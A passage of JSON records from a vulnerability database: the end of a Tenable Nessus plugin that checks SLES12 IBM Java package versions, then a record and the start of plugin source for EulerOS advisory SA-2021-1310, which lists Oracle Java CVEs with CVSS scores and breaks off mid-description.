reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-alsa-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", cpu:\"x86_64\", reference:\"java-1_8_0-ibm-plugin-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-ibm-1.8.0_sr6.25-30.81.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"java-1_8_0-ibm-devel-1.8.0_sr6.25-30.81.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"java-1_8_0-ibm\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-25T17:09:31", "description": "According to the versions of the java-1.8.0-openjdk packages\ninstalled, the EulerOS installation on the remote host is affected by\nthe following vulnerabilities :\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Utilities).\n Supported versions that are affected are Java SE:\n 7u221, 8u212, 11.0.3 and 12.0.1 Java SE Embedded:\n 8u211. Easily exploitable vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2762)\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Utilities).\n Supported versions that are affected are Java SE:\n 7u221, 8u212, 11.0.3 and 12.0.1 Java SE Embedded:\n 8u211. Easily exploitable vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2769)\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Security).\n Supported versions that are affected are Java SE:\n 8u212, 11.0.3 and 12.0.1 Java SE Embedded: 8u211.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks require human interaction\n from a person other than the attacker and while the\n vulnerability is in Java SE, Java SE Embedded, attacks\n may significantly impact additional products.\n Successful attacks of this vulnerability can result in\n unauthorized read access to a subset of Java SE, Java\n SE Embedded accessible data.(CVE-2019-2786)\n\n - Vulnerability in the Java SE component of Oracle Java\n SE (subcomponent: JCE). The supported version that is\n affected is Java SE: 8u212. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java\n SE.(CVE-2019-2842)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2962)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2945)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Concurrency). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2964)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u221, 11.0.4\n and 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data and unauthorized ability to cause a\n partial denial of service (partial DOS) of Java SE,\n Java SE Embedded.(CVE-2019-2975)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2978)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JAXP). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2973)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JAXP). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2981)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2983)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Kerberos). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via Kerberos to compromise Java SE,\n Java SE Embedded. While the vulnerability is in Java\n SE, Java SE Embedded, attacks may significantly impact\n additional products. Successful attacks of this\n vulnerability can result in unauthorized access to\n critical data or complete access to all Java SE, Java\n SE Embedded accessible data.(CVE-2019-2949)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: 2D). Supported versions that are affected\n are Java SE: 11.0.4 and 13. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java\n SE.(CVE-2019-2987)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2988)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. While the\n vulnerability is in Java SE, Java SE Embedded, attacks\n may significantly impact additional products.\n Successful attacks of this vulnerability can result in\n unauthorized creation, deletion or modification access\n to critical data or all Java SE, Java SE Embedded\n accessible data.(CVE-2019-2989)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2992)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Javadoc). Supported versions that are\n affected are Java SE: 7u231, 8u221, 11.0.4 and 13.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE. Successful\n attacks require human interaction from a person other\n than the attacker and while the vulnerability is in\n Java SE, attacks may significantly impact additional\n products. Successful attacks of this vulnerability can\n result in unauthorized update, insert or delete access\n to some of Java SE accessible data as well as\n unauthorized read access to a subset of Java SE\n accessible data.(CVE-2019-2999)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2583)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Security). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via Kerberos to compromise Java SE,\n Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data.(CVE-2020-2590)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u241, 8u231,\n 11.0.5 and 13.0.1 Java SE Embedded: 8u231. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in takeover of\n Java SE, Java SE Embedded.(CVE-2020-2604)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Libraries). Supported versions that are\n affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE.(CVE-2020-2654)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u241 and 8u231\n Java SE Embedded: 8u231. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2659)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u241, 11.0.6\n and 14 Java SE Embedded: 8u241. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2754)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u241, 11.0.6\n and 14 Java SE Embedded: 8u241. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2020-2755)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2756)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2757)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Security). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2773)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JSSE). Supported versions\n that are affected are Java SE: 7u251, 8u241, 11.0.6 and\n 14 Java SE Embedded: 8u241. Easily exploitable\n vulnerability allows unauthenticated attacker with\n network access via HTTPS to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2781)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Lightweight HTTP Server).\n Supported versions that are affected are Java SE:\n 7u251, 8u241, 11.0.6 and 14 Java SE Embedded: 8u241.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized update, insert or delete access\n to some of Java SE, Java SE Embedded accessible data as\n well as unauthorized read access to a subset of Java\n SE, Java SE Embedded accessible data.(CVE-2020-2800)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Concurrency). Supported\n versions that are affected are Java SE: 7u251, 8u241,\n 11.0.6 and 14 Java SE Embedded: 8u241. Easily\n exploitable vulnerability allows unauthenticated\n attacker with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-2830)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data.(CVE-2020-14798)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2020-14779)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JNDI). Supported versions\n that are affected are Java SE: 7u271, 8u261, 11.0.8 and\n 15 Java SE Embedded: 8u261. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14781)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Hotspot). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data as well as unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14792)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized read access to\n a subset of Java SE, Java SE Embedded accessible\n data.(CVE-2020-14796)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized update, insert or delete access to some of\n Java SE, Java SE Embedded accessible\n data.(CVE-2020-14797)\n\n - Vulnerability in the Java SE product of Oracle Java SE\n (component: Libraries). Supported versions that are\n affected are Java SE: 11.0.8 and 15. Easily exploitable\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized read access to a subset of Java\n SE accessible data.(CVE-2020-14803)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Libraries). Supported\n versions that are affected are Java SE: 7u271, 8u261,\n 11.0.8 and 15 Java SE Embedded: 8u261. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized update, insert or delete access to some of\n Java SE, Java SE Embedded accessible\n data.(CVE-2020-14782)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 2, "cvss3": {"score": 8.1, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-22T00:00:00", "title": "EulerOS 2.0 SP2 : java-1.8.0-openjdk (EulerOS-SA-2021-1310)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-2973", "CVE-2019-2992", "CVE-2019-2842", "CVE-2019-2945", "CVE-2020-2830", "CVE-2020-14803", "CVE-2020-14782", "CVE-2019-2762", "CVE-2020-2781", "CVE-2020-2755", "CVE-2020-2800", "CVE-2019-2983", "CVE-2020-2757", "CVE-2019-2999", "CVE-2020-14792", "CVE-2019-2962", "CVE-2019-2964", "CVE-2020-2590", "CVE-2020-14781", "CVE-2019-2949", "CVE-2020-2604", "CVE-2020-2583", "CVE-2020-14798", "CVE-2020-14779", "CVE-2020-14797", "CVE-2020-2773", "CVE-2019-2769", "CVE-2020-2659", "CVE-2019-2975", "CVE-2019-2988", "CVE-2020-14796", "CVE-2020-2756", "CVE-2019-2981", "CVE-2019-2786", "CVE-2019-2987", "CVE-2019-2989", "CVE-2019-2978", "CVE-2020-2654", "CVE-2020-2754"], "modified": "2021-02-22T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:java-1.8.0-openjdk", "p-cpe:/a:huawei:euleros:java-1.8.0-openjdk-headless", "p-cpe:/a:huawei:euleros:java-1.8.0-openjdk-devel", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2021-1310.NASL", "href": "https://www.tenable.com/plugins/nessus/146641", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146641);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/24\");\n\n script_cve_id(\n \"CVE-2019-2762\",\n \"CVE-2019-2769\",\n \"CVE-2019-2786\",\n \"CVE-2019-2842\",\n \"CVE-2019-2945\",\n \"CVE-2019-2949\",\n \"CVE-2019-2962\",\n \"CVE-2019-2964\",\n \"CVE-2019-2973\",\n \"CVE-2019-2975\",\n \"CVE-2019-2978\",\n \"CVE-2019-2981\",\n \"CVE-2019-2983\",\n \"CVE-2019-2987\",\n \"CVE-2019-2988\",\n \"CVE-2019-2989\",\n \"CVE-2019-2992\",\n \"CVE-2019-2999\",\n \"CVE-2020-14779\",\n \"CVE-2020-14781\",\n \"CVE-2020-14782\",\n \"CVE-2020-14792\",\n \"CVE-2020-14796\",\n \"CVE-2020-14797\",\n \"CVE-2020-14798\",\n \"CVE-2020-14803\",\n \"CVE-2020-2583\",\n \"CVE-2020-2590\",\n \"CVE-2020-2604\",\n \"CVE-2020-2654\",\n \"CVE-2020-2659\",\n \"CVE-2020-2754\",\n \"CVE-2020-2755\",\n \"CVE-2020-2756\",\n \"CVE-2020-2757\",\n \"CVE-2020-2773\",\n \"CVE-2020-2781\",\n \"CVE-2020-2800\",\n \"CVE-2020-2830\"\n );\n\n script_name(english:\"EulerOS 2.0 SP2 : java-1.8.0-openjdk (EulerOS-SA-2021-1310)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the java-1.8.0-openjdk packages\ninstalled, the EulerOS installation on the remote host is affected by\nthe following vulnerabilities :\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Utilities).\n Supported versions that are affected are Java SE:\n 7u221, 8u212, 11.0.3 and 12.0.1 Java SE Embedded:\n 8u211. Easily exploitable vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2762)\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Utilities).\n Supported versions that are affected are Java SE:\n 7u221, 8u212, 11.0.3 and 12.0.1 Java SE Embedded:\n 8u211. Easily exploitable vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2769)\n\n - Vulnerability in the Java SE, Java SE Embedded\n component of Oracle Java SE (subcomponent: Security).\n Supported versions that are affected are Java SE:\n 8u212, 11.0.3 and 12.0.1 Java SE Embedded: 8u211.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via\n multiple protocols to compromise Java SE, Java SE\n Embedded. Successful attacks require human interaction\n from a person other than the attacker and while the\n vulnerability is in Java SE, Java SE Embedded, attacks\n may significantly impact additional products.\n Successful attacks of this vulnerability can result in\n unauthorized read access to a subset of Java SE, Java\n SE Embedded accessible data.(CVE-2019-2786)\n\n - Vulnerability in the Java SE component of Oracle Java\n SE (subcomponent: JCE). The supported version that is\n affected is Java SE: 8u212. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE. Successful attacks of this vulnerability can\n result in unauthorized ability to cause a partial\n denial of service (partial DOS) of Java\n SE.(CVE-2019-2842)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: 2D). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2962)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks require human interaction from a person other\n than the attacker. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2945)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Concurrency). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2964)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Scripting). Supported\n versions that are affected are Java SE: 8u221, 11.0.4\n and 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized update, insert\n or delete access to some of Java SE, Java SE Embedded\n accessible data and unauthorized ability to cause a\n partial denial of service (partial DOS) of Java SE,\n Java SE Embedded.(CVE-2019-2975)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Networking). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a partial denial of\n service (partial DOS) of Java SE, Java SE\n Embedded.(CVE-2019-2978)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JAXP). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2973)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: JAXP). Supported versions\n that are affected are Java SE: 7u231, 8u221, 11.0.4 and\n 13 Java SE Embedded: 8u221. Difficult to exploit\n vulnerability allows unauthenticated attacker with\n network access via multiple protocols to compromise\n Java SE, Java SE Embedded. Successful attacks of this\n vulnerability can result in unauthorized ability to\n cause a partial denial of service (partial DOS) of Java\n SE, Java SE Embedded.(CVE-2019-2981)\n\n - Vulnerability in the Java SE, Java SE Embedded product\n of Oracle Java SE (component: Serialization). Supported\n versions that are affected are Java SE: 7u231, 8u221,\n 11.0.4 and 13 Java SE Embedded: 8u221. Difficult to\n exploit vulnerability allows unauthenticated attacker\n with network access via multiple protocols to\n compromise Java SE, Java SE Embedded. Successful\n attacks of this vulnerability can result in\n unauthorized ability to cause a 